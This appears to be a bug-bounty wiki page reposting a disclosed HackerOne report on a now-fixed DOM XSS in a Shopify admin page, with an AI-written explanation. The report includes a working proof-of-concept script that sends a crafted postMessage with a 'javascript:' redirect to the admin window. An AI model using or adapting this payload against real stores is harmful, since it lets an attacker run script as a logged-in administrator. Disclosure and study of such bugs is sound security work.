Skip to content
XSS Disclosed report Intermediate

DOM XSS via Shopify.API.remoteRedirect

A Shopify admin page listened for postMessage events and handled a remote-redirect message without properly checking the sender's origin. An attacker who could get a logged-in administrator to open a crafted page could run JavaScript in the admin context and act as that administrator.

yxw21 Follow

Originally disclosed on HackerOne

  • Triaged in 3 days
  • Fixed in 26 days
  • Paid in 3 days
  • Disclosed after 26 days

hi, team, after I read the report #422043, I found another monitor postmessage, and did not correctly verify the origin, leading to dom xss, using the store theme can write js this feature, we can modify a theme for the following Payload,

<script>
  function attack(){
  	var ctx=window.open('https://cuxuri.myshopify.com/admin/themes');
    var interval;
    interval=setInterval(function(){
      if(window.attackSuccess){
        clearInterval(interval);
      }else{
        ctx.postMessage(`{"message":"Shopify.API.remoteRedirect","data":{"location":"javascript:alert(document.domain)"}}`);
      }
    },500);;
  }
</script>
<a href="javascript:attack()" style="display:block;text-align:center;width:100%;height:300px;line-height:300px;background:#000;color:#fff;">click me start attack</a>

then log in to the store, access the page containing the payload, you can trigger xss, such as:

1.png
1.png From the original on HackerOne

Problem code:

https://cdn.shopifycloud.com/web/assets/latest/embeddedApp-ab64a8a13eb3f06403cb2acf67e20576a144bf2d3625807923872e8adf469a14.js
case de.RemoteRedirect:
                            this.handleRemoteRedirect(t.location);
                            break;

Impact

Attack other administrators

The original report as published on HackerOne, by yxw21. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the embedded app's message handler processed a remote-redirect message and passed its location value into a navigation sink without validating the message origin or restricting the URL scheme.

Impact

An attacker could run script in a logged-in administrator's session and act on their behalf, though the exploit depends on the victim visiting the attacker's page while logged in.

What the attacker needed

Victim is a logged-in store admin; victim visits attacker-controlled page; attacker can host a page or theme content

How it was found

  1. Create or modify a store theme page that contains a script which opens the admin themes page in a new window
  2. Have the script repeatedly send a remote-redirect message to that window
  3. Log in to the store and visit the page containing the payload
  4. The admin window processes the message and the script runs

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

Web pages can send messages to other open windows using a browser feature called postMessage. The receiving page is supposed to check who sent the message, but here it did not check properly, so a malicious page could send a message that made the admin page run attacker-supplied JavaScript. That script then runs with the administrator's privileges.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by yxw21

View all

2 more disclosed reports, best first.

More from Shopify

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.